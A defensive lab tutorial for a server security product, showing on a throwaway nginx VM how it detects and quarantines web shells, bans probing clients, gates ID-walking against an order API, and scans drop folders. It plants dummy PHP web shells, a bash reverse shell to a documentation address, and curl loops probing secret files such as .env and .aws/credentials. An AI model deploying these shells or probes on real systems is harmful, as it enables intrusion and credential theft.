Know the attack, stop the attack

Web and email

On an nginx VM, use harmless dummies to see web shell detection and quarantine, blocking of probing seen in the access log, the web gate against ID walking, and scanning of drop folders.

  • Level: Basics
  • About 45 min
  • 2026-11-12

#Where attacks on a web server come in

A public web server is a place anyone outside can talk to. Attacks mostly arrive in four shapes.

ShapeWhat happensFeature that watches
Plant a web shellThrough a weak upload or similar, PHP that runs commands is written into the public folderWeb shell and malicious code detection
Probe the sitePaths that do not exist, or secret files such as .env, are asked for one after anotherEnumeration and probing detection (Web access guard)
Walk the numbersOrder or receipt numbers are swapped in one by one to pull out other people's dataEnumeration and probing detection (Web access guard), Web gate
Slip in a fileA malicious file lands in a mail relay drop or a shared folderFile scan guard

In this module you run nginx inside a disposable VM and trigger all four shapes with dummies. You watch the detection, quarantine and block happen, then undo them.

Practice in a disposable environment

The steps in this module change the web server settings and the firewall rules. The web shells are one-line dummies. PHP is not installed, so they never run. Even so, try this in a VM, not on a real host.

#Prepare the practice setup

Set up nginx and an outside source

Install nginx and restart the RoamSwitch daemon (this changes the machine). When the daemon starts, it reads the web server configuration and finds the public folders (document roots).

sudo DEBIAN_FRONTEND=noninteractive apt-get install -y nginx >/dev/null 2>&1
systemctl is-active nginx
sudo systemctl restart roamswitch-server
sleep 30
sudo roamswitch web-rules status
Output
active
=====================================================
  🕸️ Web Application Rules Status
=====================================================

  Rule set               2026-11-11 (20 rules)
  Installed feed         2026-11-11
  Custom rules dir       /etc/roamswitch/rules.d
  Auto-quarantine level  critical
  Account response       off
  Post-detection hook    active (passes the checks)
                         /etc/roamswitch/hooks/post-detection
  Locked accounts        0
  Following 1 document root:
    - /var/www/html

/var/www/html was found in the nginx configuration. The rules are the delivered set (2026-11-11) that roamswitch-updater installed when the VM booted. The post-detection hook is one the product puts in place by default. It only appends each detection to /var/log/roamswitch/web-detections.jsonl and sends nothing out.

Next, create an outside source. This host's own addresses and private addresses are never banned. So you give the network namespace outside the documentation addresses 203.0.113.10 and 203.0.113.11. The VM's side is 203.0.113.1.

sudo ip netns add outside
sudo ip link add veth-host type veth peer name veth-out
sudo ip link set veth-out netns outside
sudo ip addr add 203.0.113.1/24 dev veth-host
sudo ip link set veth-host up
sudo ip netns exec outside ip addr add 203.0.113.10/24 dev veth-out
sudo ip netns exec outside ip addr add 203.0.113.11/24 dev veth-out
sudo ip netns exec outside ip link set veth-out up
sudo ip netns exec outside curl -s -o /dev/null -w '%{http_code}\n' http://203.0.113.1/
Output
200

This traffic stays inside the VM. To undo it, run sudo ip netns del outside.

#Find a planted web shell

Web shell and malicious code detection checks PHP, JavaScript, JSP and ASP files with 20 built-in rules. Each rule describes the shape of a published technique, and none uses regular expressions. There are two ways to find a shell: roamswitch web-scan, which you run by hand, and the daemon, which watches writes to the public folders.

Scan by hand and quarantine

Make a dummy site. shell.php is one line that passes a request value straight to system, and avatar.jpg has PHP after an image marker.

mkdir -p ~/lab-site/uploads && cd ~/lab-site
printf '<?php echo "Hello"; ?>\n' > index.php
printf '<?php system($_GET["c"]); ?>\n' > shell.php
printf 'GIF89a<?php eval(base64_decode($_POST["x"])); ?>\n' > uploads/avatar.jpg
roamswitch web-scan ~/lab-site; echo "exit code: $?"
Output
=====================================================
  🕸️ Web Application Rules Scan
=====================================================

  Rules 2026-11-11 (20 rules)   Scanned 3 web files

  [CRITICAL] /home/admin/lab-site/shell.php
      php-request-exec (WebShell-PHP)
      PHP passes a request variable straight into eval/system/exec (the one-line web shell).
      → not touched (dry run; add --quarantine to move files)

  [HIGH] /home/admin/lab-site/uploads/avatar.jpg
      image-php-polyglot (Web-Polyglot-Image)
      An image file contains a PHP open tag and PHP code that executes or decodes: a payload hidden in an image.
      → not touched (dry run; add --quarantine to move files)

  Critical/high: 2   Quarantined: 0

exit code: 2

By default it only checks and touches no file. The exit code is 0 for nothing found and 2 for a critical or high finding. It makes no network connection.

With --quarantine it moves files into the quarantine vault (root; this changes the machine).

sudo roamswitch web-scan ~/lab-site --quarantine
ls -R ~/lab-site
sudo roamswitch quarantine list
Output
  [CRITICAL] /home/admin/lab-site/shell.php
      php-request-exec (WebShell-PHP)
      PHP passes a request variable straight into eval/system/exec (the one-line web shell).
      → quarantined

  [HIGH] /home/admin/lab-site/uploads/avatar.jpg
      image-php-polyglot (Web-Polyglot-Image)
      An image file contains a PHP open tag and PHP code that executes or decodes: a payload hidden in an image.
      → left in place (below the configured quarantine level)

  Critical/high: 2   Quarantined: 1

/home/admin/lab-site:
index.php
uploads

/home/admin/lab-site/uploads:
avatar.jpg
=====================================================
  🦠 Malware Quarantine Vault Status
=====================================================

  Vault location: /var/lib/roamswitch/quarantine
  Quarantined: 1 file

  • [quar-20261112_014215-4c71b408] shell.php (WebShell-PHP: php-request-exec) - 29 bytes
    Original path: /home/admin/lab-site/shell.php

(Excerpt; the scan heading is left out.) Only the critical shell.php was quarantined. The high avatar.jpg stayed. The level for automatic quarantine is quarantine in /etc/roamswitch/web_rules.conf (off, critical or high; default critical). This keeps a false positive from removing a live site's files.

If it was a false positive, sudo roamswitch quarantine restore <ID> puts the file back where it was. Trying it with the ID above printed "✓ Restored quar-20261112_014215-4c71b408 (without the execute bit)." and shell.php came back. It never overwrites a file of the same name. Files in the vault are readable by root only, and the original location also stays in originalPath in /var/lib/roamswitch/quarantine/metadata.json.

To clean up the practice files, run rm -rf ~/lab-site.

Watch writes to the public folder

The daemon checks a file as soon as it is written into a public folder. Write a dummy web shell into /var/www/html and look 3 seconds later.

printf '<?php system($_GET["c"]); ?>\n' | sudo tee /var/www/html/info.php >/dev/null
sleep 3
ls /var/www/html
sudo roamswitch notifications | sed -n 4,14p
Output
index.nginx-debian.html

  2026-11-12T01:42:16.869237597+00:00
  Web rules: 1 file matched
    🚨 The web application rules detected a web shell or injected code
    Host: ubuntu (IP: 192.168.64.19)
    Matched files: 1 (quarantined: 1, left in place: 0)
    /var/www/html/info.php (php-request-exec, quarantined, owner root)
    Recommended Action: review the files and the access log around the time they were written, and change the credentials of that site (admin panel, FTP, database). Quarantined files are listed in `/var/lib/roamswitch/quarantine/metadata.json`.
    Timestamp: 2026-11-12 01:42:16
    Process: root / /usr/bin/tee / command: tee /var/www/html/info.php (pid 2000)
    Parent processes: sudo ← dash ← tart-guest-agent ← systemd / Service: tart-guest-agent.service

Three seconds after the write, info.php was already in the vault. You do not have to run anything by hand. The last two lines name the process that wrote the file and its parents. The history is shown in the reader's language (here LANG=en_US.UTF-8), whatever the server's language is.

Upload handlers often receive a file in a temporary folder and mv it into the public folder. A file placed by a move is checked on the spot too.

printf '<?php system($_GET["c"]); ?>\n' > /tmp/up.tmp
sudo mv /tmp/up.tmp /var/www/html/up.php
sleep 3
ls /var/www/html
sudo roamswitch notifications | sed -n 10,14p
Output
index.nginx-debian.html
    /var/www/html/up.php (php-request-exec, quarantined, owner admin)
    Recommended Action: review the files and the access log around the time they were written, and change the credentials of that site (admin panel, FTP, database). Quarantined files are listed in `/var/lib/roamswitch/quarantine/metadata.json`.
    Timestamp: 2026-11-12 01:42:20
    Process: root / /usr/bin/mv / command: mv /tmp/up.tmp /var/www/html/up.php (pid 2040) (The process had already exited, so this comes from the exec record made at 2026-11-12 01:42:19.)
    Parent processes: sudo ← dash ← tart-guest-agent ← systemd / Service: tart-guest-agent.service

up.php was quarantined right after the move as well. owner admin is the owner it had when it was created in /tmp. mv exits at once, so the process line notes that it came from the exec record.

Next is the response against the account that planted the shell. A web shell runs inside the web application's process, not in a login. So with account_action=lock, RoamSwitch revokes the login shell and also cuts that account's outbound traffic. Try it with siteuser, the account that owns the site (this changes the machine). web_rules.conf is read when the daemon starts, so a restart is needed.

sudo useradd -m -s /bin/bash siteuser
sudo mkdir -p /var/www/html/site && sudo chown siteuser:siteuser /var/www/html/site
printf 'quarantine=critical\naccount_action=lock\n' | sudo tee /etc/roamswitch/web_rules.conf
sudo systemctl restart roamswitch-server
sleep 8
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'before: %{http_code}\n' https://lafine.net/updates/v1/manifest
printf '<?php system($_GET["c"]); ?>\n' | sudo -u siteuser tee /var/www/html/site/cmd.php >/dev/null
sleep 4
getent passwd siteuser
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'after: %{http_code}\n' https://lafine.net/updates/v1/manifest
sudo roamswitch web-rules locked
sudo nft list table inet roamswitch_web_account_block
Output
quarantine=critical
account_action=lock
before: 200
siteuser:x:1002:1002::/home/siteuser:/usr/sbin/nologin
after: 000
  siteuser (uid 1002)  shell was /bin/bash, outbound traffic blocked  rule php-request-exec  (2026-11-12T01:42:33.806729379+00:00)
table inet roamswitch_web_account_block {
	chain output {
		type filter hook output priority mangle - 10; policy accept;
		meta skuid 1002 oifname != "lo" counter packets 8 bytes 560 drop
	}
}

The shell became /usr/sbin/nologin, and siteuser's outbound traffic, loopback aside, was dropped. This cuts off the shell's way to call back out. Root, accounts with a UID below account_min_uid (default 1000), and accounts with a login session are never touched.

Undo it.

sudo roamswitch web-rules unlock-account siteuser
getent passwd siteuser
sudo -u siteuser curl -s -m 3 -o /dev/null -w 'unlocked: %{http_code}\n' https://lafine.net/updates/v1/manifest
Output
Restored the login shell of siteuser to /bin/bash.
Lifted the outbound network block of siteuser.
siteuser:x:1002:1002::/home/siteuser:/bin/bash
unlocked: 200

To put the settings back too, run sudo rm /etc/roamswitch/web_rules.conf and then sudo systemctl restart roamswitch-server, and remove the account with sudo userdel -r siteuser.

Add your own rules

Rules for your own site go in /etc/roamswitch/rules.d/*.json. Only files owned by root that no one else can write are read. Before placing one, check it with roamswitch web-rules validate <file>, which shows typos and the existing rules it replaces. roamswitch web-rules example rules prints a sample.

#Spot probing in the access log

Enumeration and probing detection (Web access guard) reads the nginx access log four times a second. People open pages by following links. They do not ask for path after path that does not exist, or for secret files such as .env. The guard uses that difference.

Repeated POSTs to a login page (/login, /wp-login.php and so on) are watched the same way (login, notify only by default). The settings file is /etc/roamswitch/web_guard.conf. Without the file the guard runs with mode=warn: it notifies and records, nothing more. Changes take effect within 30 seconds, with no restart.

Trigger probing, then block it

The notice for someone reading the site structure is, by default, one summary a day. For practice, set recon_notify=immediate so you see it at once (this changes the machine). From 203.0.113.10, ask for 15 paths that do not exist.

printf 'recon_notify=immediate\n' | sudo tee /etc/roamswitch/web_guard.conf
sleep 35
for p in admin backup old test dev staging api/v1 config upload private tmp install setup db logs; do
  sudo ip netns exec outside curl -s -o /dev/null -w '%{http_code} ' -A 'python-requests/2.31' http://203.0.113.1/$p
done; echo
sleep 3
sudo roamswitch notifications | grep -m1 -B8 -A4 'path_walk'
Output
recon_notify=immediate
404 404 404 404 404 404 404 404 404 404 404 404 404 404 404 

  2026-11-12T01:43:39.639171824+00:00
  Web access: someone is reading the structure of the site
    🚨 The access log shows the structure of the site being read (many paths that do not exist, static files fetched in bulk, the API being probed, parameters being tried one after another)
    Host: ubuntu (IP: 192.168.64.19)
    Endpoint: (paths)
    Reason: kept asking for paths that do not exist
    Clients matched: 1
    203.0.113.10 (path_walk, n=12)
    Action: Notification only (nothing was blocked).
    Recommended Action: check for paths you did not mean to publish, and for an API that answers without authentication. Search-engine crawlers and monitoring services look the same, so a client you recognise can be excluded with exempt_ua or exempt_path in web_guard.conf.
    Timestamp: 2026-11-12 01:43:39

The 12th 404 made it path_walk (path_walk_limit, default 12). Once the log holds more than 200 requests and the check finds the setup fit for blocking, the "Action" line also says how to block, followed by a "Check result" line. This practice site has few requests so far, so neither appears.

Now block. Write both mode=block and recon=block, and set the ban to 600 seconds. From 203.0.113.11, ask for secret files and admin paths.

printf 'mode=block\nrecon=block\nrecon_notify=immediate\nban_secs=600\n' | sudo tee /etc/roamswitch/web_guard.conf
sleep 35
for p in .env .git/config .aws/credentials actuator/env phpmyadmin/ wp-config.php.bak server-status .DS_Store; do
  sudo ip netns exec outside curl -s --interface 203.0.113.11 -m 3 -o /dev/null -w '%{http_code} ' http://203.0.113.1/$p
done; echo
sudo ip netns exec outside curl -s --interface 203.0.113.10 -m 3 -o /dev/null -w '%{http_code}\n' http://203.0.113.1/
sudo nft list set inet roamswitch_webguard banned4
sudo roamswitch notifications | grep -m1 -B8 -A4 'probe_walk'
Output
mode=block
recon=block
recon_notify=immediate
ban_secs=600
404 404 404 404 404 404 404 404 
200
table inet roamswitch_webguard {
	set banned4 {
		type ipv4_addr
		flags timeout
		elements = { 203.0.113.11 timeout 10m expires 9m59s810ms }
	}
}

  2026-11-12T01:44:18.796368934+00:00
  Web access: someone is reading the structure of the site
    🚨 The access log shows the structure of the site being read (many paths that do not exist, static files fetched in bulk, the API being probed, parameters being tried one after another)
    Host: ubuntu (IP: 192.168.64.19)
    Endpoint: (probe paths)
    Reason: asked for many different secret, configuration or admin paths
    Clients matched: 1
    203.0.113.11 (probe_walk, n=6) banned
    Action: Blocked each client from new connections to ports 80/443 for 600 s (shared addresses, the allow list and addresses this host needs are excluded)
    Recommended Action: check for paths you did not mean to publish, and for an API that answers without authentication. Search-engine crawlers and monitoring services look the same, so a client you recognise can be excluded with exempt_ua or exempt_path in web_guard.conf.
    Timestamp: 2026-11-12 01:44:18

The sixth kind made it probe_walk. The eight requests finish in under a second, so all of them got 404, and the ban came right after (banned4 shows 9m59s left). Only new connections from 203.0.113.11 to 80/443 are stopped; 203.0.113.10 still gets 200. See the ban list in the nft set banned4.

Lift the ban.

sudo roamswitch unban 203.0.113.11
sudo ip netns exec outside curl -s --interface 203.0.113.11 -m 3 -o /dev/null -w '%{http_code}\n' http://203.0.113.1/
Output
  ✓ Lifted the web guard's ban: 203.0.113.11
200

unban lifts bans from both the SSH guard and the web access guard. One line says which ban it lifted. The count of past bans stays. About 2 seconds after the unban, the same probing from the same source is banned again, and that ban is four times as long as the last one.

Let it block, or notify only

Blocking works correctly only when the web server sees the visitor's address. Behind a CDN or a reverse proxy, the log shows the proxy's address. Private addresses are not banned by default (ban_private=no), so nothing is stopped. With ban_private=yes, the proxy itself gets banned.

  • The visitor's address is visible: write mode=block and the shapes you need (recon=block, login=block)
  • Behind a proxy that does not restore the address: keep mode=warn and use the notices. Restore the address first, for example with nginx's real_ip_header, then decide again
  • Not sure: run sudo roamswitch web-guard-check (it changes nothing; you use it in a later exercise)

#Stop walks through identifiers

Many APIs take an order or receipt number in the URL and return its contents. Without a login check, changing the number one at a time pulls out other people's data. Recent attack tools split the work over many IPs, so each IP asks only a little.

RoamSwitch guards this at two layers: Enumeration and probing detection (Web access guard), which reads the access log, and Web gate, which answers each request in front of nginx. The gate gets its questions from nginx's auth_request over a Unix socket. It never goes onto the network.

Build a numbered API and guard it with the gate

Run a dummy API inside the VM that returns different contents per number. It uses python's http.server and listens on 127.0.0.1:8080. Numbers 1000 to 1999 return a dummy order.

/home/admin/orders.py
# 練習用のダミーの注文 API(127.0.0.1:8080)。番号ごとに別の内容を返す。
import http.server, re

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        m = re.fullmatch(r"/api/orders/(\d+)", self.path)
        if m and 1000 <= int(m.group(1)) <= 1999:
            body = f'{{"order": {m.group(1)}, "name": "dummy-{m.group(1)}"}}\n'.encode()
            self.send_response(200)
        else:
            body = b"not found\n"
            self.send_response(404)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

http.server.HTTPServer(("127.0.0.1", 8080), H).serve_forever()

(The comment at the top says, in Japanese, that this is a dummy order API for practice.) Add location /api/orders/ { proxy_pass http://127.0.0.1:8080; } inside nginx's server { } to publish the API. Then check whether your site returns contents per number with the check command that comes with Web gate. It asks with no login of any kind, one request a second, ten at most.

sudo systemd-run --unit=lab-orders python3 /home/admin/orders.py
sudo nginx -t && sudo nginx -s reload
sleep 1
roamswitch web-id-check 'http://127.0.0.1/api/orders/{n}' --start 1001 --count 3; echo "exit code: $?"
Output
=====================================================
  🔎 Unauthenticated number check
=====================================================

  Asks for 3 consecutive numbers with GET and no login of any kind (one a second).
  1001: HTTP 200, 38 bytes
  1002: HTTP 200, 38 bytes
  1003: HTTP 200, 38 bytes
⚠️ Different contents came back for different numbers with no login. Other people's data may be readable.
  Add a per-user authorization check to this endpoint (return only the logged-in person's own number). Making numbers harder to guess is not a fix on its own.
exit code: 2

Exit code 2 means other people's data may be readable. The real fix belongs in the application. The gate is a guard until that fix is in.

web-gate-config prints the nginx configuration for the gate. It changes nothing.

roamswitch web-gate-config /api/orders/ --proxy http://127.0.0.1:8080
Output
upstream rs_gate { server unix:/run/roamswitch/webgate.sock; }

# inside the server { } block that serves the site:
location /api/orders/ {
    auth_request /_rs_gate;
    auth_request_set $rs_action $upstream_http_x_rs_action;
    error_page 403 = @rs_denied;
    proxy_pass http://127.0.0.1:8080;
}
location @rs_denied {
    if ($rs_action = throttle) { add_header Retry-After 60 always; return 429 "slow down\n"; }
    return 403 "forbidden\n";
}
location = /_rs_gate {
    internal;
    proxy_pass http://rs_gate/check;
    proxy_pass_request_body off;
    proxy_set_header Content-Length "";
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Original-URI $request_uri;
    proxy_set_header X-RS-UA $http_user_agent;
    proxy_connect_timeout 200ms;
    proxy_read_timeout 500ms;
    # if the gate is down or slow, let the request through: a gate failure must never take the site down
    error_page 502 503 504 = @rs_allow;
}
location @rs_allow { return 200; }

(Excerpt; the explanatory comments at the top are left out.) Put the upstream line in /etc/nginx/conf.d/rs-gate.conf, and the four location blocks in place of the location /api/orders/ you added earlier. Start the gate and register the never-issued numbers 1900 to 1909 as reserved numbers (canary) (this changes the machine).

sudo systemctl enable --now roamswitch-webgate
sudo nginx -t && sudo nginx -s reload
printf 'mode=block\nrecon=block\nrecon_notify=immediate\nban_secs=600\ncanary=/api/orders/{n}=1900-1909\n' | sudo tee /etc/roamswitch/web_guard.conf
sudo systemctl restart roamswitch-webgate
sleep 35
O="sudo ip netns exec outside curl -s -m 3 --interface 203.0.113.10"
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1001
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1905
$O -w ' %{http_code}\n' http://203.0.113.1/api/orders/1002
Output
{"order": 1001, "name": "dummy-1001"}
 200
forbidden
 403
forbidden
 403

(Excerpt.) sleep 35 waits for the daemon to read web_guard.conf again. The gate answered 403 to reserved number 1905 on the first try, so the application never saw it. The gate also answered 403 to the next request, 1002. After that, the guard that reads the access log banned 203.0.113.10 (it shows in banned4 in the next output).

Next, one source asks for many numbers. From 203.0.113.11, ask for 1001 to 1025 in order.

for n in $(seq 1001 1025); do
  sudo ip netns exec outside curl -s -m 2 --interface 203.0.113.11 -o /dev/null -w "$n:%{http_code} " http://203.0.113.1/api/orders/$n
done; echo
sleep 2
sudo nft list set inet roamswitch_webguard banned4 | grep elements
Output
1001:200 1002:200 1003:200 1004:200 1005:200 1006:200 1007:200 1008:200 1009:200 1010:200 1011:200 1012:200 1013:200 1014:200 1015:200 1016:200 1017:200 1018:200 1019:200 1020:403 1021:403 1022:000 1023:000 1024:000 1025:000 
		elements = { 203.0.113.10 timeout 10m expires 9m47s524ms, 203.0.113.11 timeout 40m expires 39m49s618ms }

At the 20th and 21st distinct numbers the gate answered 403 (many_ids, distinct_limit default 20). After that the source is banned. This is 203.0.113.11's second ban, so it is 40 minutes, four times 600 seconds.

Also check what happens when the gate stops. Lift every ban, then ask for 1905 again from 203.0.113.10, the source the reserved number banned earlier.

sudo roamswitch unban --all
sleep 3
sudo systemctl stop roamswitch-webgate
sudo ip netns exec outside curl -s -m 3 --interface 203.0.113.10 -w ' %{http_code}\n' http://203.0.113.1/api/orders/1905
sudo systemctl start roamswitch-webgate
sleep 1
sudo nft list set inet roamswitch_webguard banned4 | grep elements
sudo roamswitch unban --all
Output
  ✓ Lifted the web guard's ban: 203.0.113.10
  ✓ Lifted the web guard's ban: 203.0.113.11
{"order": 1905, "name": "dummy-1905"}
 200
		elements = { 203.0.113.10 timeout 40m expires 39m58s948ms }
  ✓ Lifted the web guard's ban: 203.0.113.10

With the gate stopped, even a request for a reserved number gets through. Afterwards, the guard that reads the log banned the source again. A source lifted with unban is counted afresh when it probes again. This is its second ban, so it lasts 40 minutes. The last unban lifts that ban. This is by design, so a gate failure never takes the site down. That is why you check that it runs with systemctl is-active roamswitch-webgate and /run/roamswitch/webgate.status.

Finally, check whether blocking fits this setup. web-guard-check reads the access log and the web server configuration and says whether the setup fits blocking. It changes nothing. It needs at least 200 requests, so first send 250 ordinary visits with a browser name from ten sources, 203.0.113.20 to 29.

printf 'recon_notify=immediate\n' | sudo tee /etc/roamswitch/web_guard.conf >/dev/null
sudo roamswitch unban --all >/dev/null
for i in $(seq 20 29); do sudo ip netns exec outside ip addr add 203.0.113.$i/24 dev veth-out; done
sleep 32
for r in $(seq 1 25); do for i in $(seq 20 29); do
  sudo ip netns exec outside curl -s -m 2 --interface 203.0.113.$i -o /dev/null -A 'Mozilla/5.0 (X11; Linux x86_64) Firefox/140.0' http://203.0.113.1/
done; done
sudo roamswitch web-guard-check; echo "exit code: $?"
Output
=====================================================
  🛡 Web guard check: is this environment fit for blocking?
=====================================================

  Logs read: 1 (could not read: 0). 304 requests in the last 24 hours from 13 addresses.

  Busiest addresses
    203.0.113.11                                  30 ( 10%)  0 browser kinds
    203.0.113.20                                  25 (  8%)  1 browser kind
    203.0.113.21                                  25 (  8%)  1 browser kind
    203.0.113.22                                  25 (  8%)  1 browser kind
    203.0.113.23                                  25 (  8%)  1 browser kind

  From private addresses: 1% (of which with several browsers behind them: 0%) / from shared addresses (the guard never blocks them): 0%
  A setting that restores the visitor's address: none found

  Current setting: mode=warn, recon=warn

Verdict: fit for blocking. Visitors can be told apart by address.
  To block, write mode=block and recon=block in /etc/roamswitch/web_guard.conf (add exempt_ua=googlebot and the like for search engines, and put your own address in whitelist_ips).
exit code: 0

The first two lines put web_guard.conf back to mode=warn (the default when unset) and lift the bans. The visitor addresses are visible, so the verdict is "fit". When the setup does not fit, the exit code is 1.

Undo the setup.

sudo rm /etc/roamswitch/web_guard.conf
sudo systemctl disable --now roamswitch-webgate
sudo rm /etc/nginx/conf.d/rs-gate.conf

Also put nginx's location back and run sudo nginx -t && sudo nginx -s reload. Stop the API with sudo systemctl stop lab-orders.

Changing the nginx configuration also raises a tampering notice

Rewriting the nginx configuration in this exercise raised a "Critical Path FIM Tampering Detected" notice, because changes under /etc/nginx are watched too. If you made the change yourself, update the baseline with sudo roamswitch fim update.

#Check mail relay drops and shared folders

Outside the web's public folders, there are other places where files from outside land: a mail relay's drop, a shared folder, an upload area. File scan guard scans the folders listed in clamav_scan_dirs in server.conf on a schedule, with the built-in YARA rules. With clamav_enabled=true, ClamAV's clamdscan scans them too (off by default).

Scan files left in a drop folder

Treat /srv/mailin as a drop folder and add it to the scan (this changes the machine). As the dummy, place a text file with a well-known reverse shell one-liner. It is never run. The target 192.0.2.1 is a documentation address.

sudo mkdir -p /srv/mailin
printf 'hello\n' | sudo tee /srv/mailin/note.txt >/dev/null
printf '# 練習用のダミー。実行しない。\nbash -i >& /dev/tcp/192.0.2.1/4444 0>&1\n' | sudo tee /srv/mailin/run.sh >/dev/null
sudo roamswitch server config set clamav_scan_dirs /srv/mailin
sudo systemctl restart roamswitch-server
sleep 12
ls /srv/mailin
sudo roamswitch notifications | sed -n 4,11p
Output
  ✓ Server configuration updated and saved. (clamav_scan_dirs = /srv/mailin)
  To apply: sudo systemctl restart roamswitch-server or sudo roamswitch server restart

note.txt

  2026-11-12T01:46:37.772174747+00:00
  File Scan Guard: 1 threat quarantined
    Host: ubuntu (IP: 192.168.64.19)
    YARA hits: 1, ClamAV hits: 0
    Quarantined (original location → vault):
    - /srv/mailin/run.sh → /var/lib/roamswitch/quarantine/20261112_014637_d05077e8_run.sh (WebShell-ReverseShell: Linux_WebShell_Reverse_Shell_Payload)
    Recommended Action: Review `/var/lib/roamswitch/quarantine/metadata.json`.

(The first line of the dummy is a Japanese comment: "a practice dummy; do not run".) The daemon scans once right after it starts, then every clamav_scan_interval_secs (default 86400 seconds = 24 hours, minimum 3600). run.sh was quarantined and note.txt stayed. The quarantine line lists the original location, the vault path and the rule that matched.

Undo it.

sudo roamswitch server config set clamav_scan_dirs ""
sudo systemctl restart roamswitch-server
sudo rm -rf /srv/mailin

#What it cannot see

What was checked, and what stays out of sight

Within what was checked on a disposable Ubuntu 24.04 VM with nginx:

  • Web rules look for fixed sequences of words. Code that builds strings, such as 'ev'.'al', is not followed. New techniques the rules do not describe are not found
  • Probe detection relies on the access log alone. Requests the log does not record, and web servers that write no log, are invisible. The gate does not see the response code or the Referer, so it does not look for probing
  • When the gate stops, everything passes. The site stays up, but the guard is gone. You have to check that it runs
  • A slow attack from one address that stays within normal volume is not stopped. The real fix is a per-user authorization check in the application
  • The File Scan Guard treats the EICAR test string as a test marker and does not quarantine it (per a note in the code). That is why the exercise uses a different dummy
  • Changes to web_rules.conf and server.conf wait for a daemon restart. web_guard.conf takes effect within 30 seconds
Check yourself

After setting up the web gate, you find roamswitch-webgate stopped. What happens to a request for a reserved number?

Show the explanation

In the exercise, with the gate stopped, even reserved number 1905 got 200. This is by design, so a gate failure never takes the site down. In return, you need to check that the gate runs, with systemctl is-active roamswitch-webgate.

Check yourself

With default settings you run sudo roamswitch web-scan <folder> --quarantine. It finds one critical and one high item. What happens?

Show the explanation

The level for automatic quarantine is quarantine in web_rules.conf, default critical. The account response (account_action) is off by default.

#What to learn next

Features covered

Related techniques (ATT&CK): T1505.003

What was verified

Verified on 2026-11-12. Target: Linux 1.17.39. Ran every lab top to bottom on two disposable Ubuntu 24.04 VMs with the published 1.17.39, using nginx and sources in a network namespace, in Japanese and in English (LANG=en_US.UTF-8, server language left at its default).

Command output varies with the product version and the environment. If yours differs, check the version first.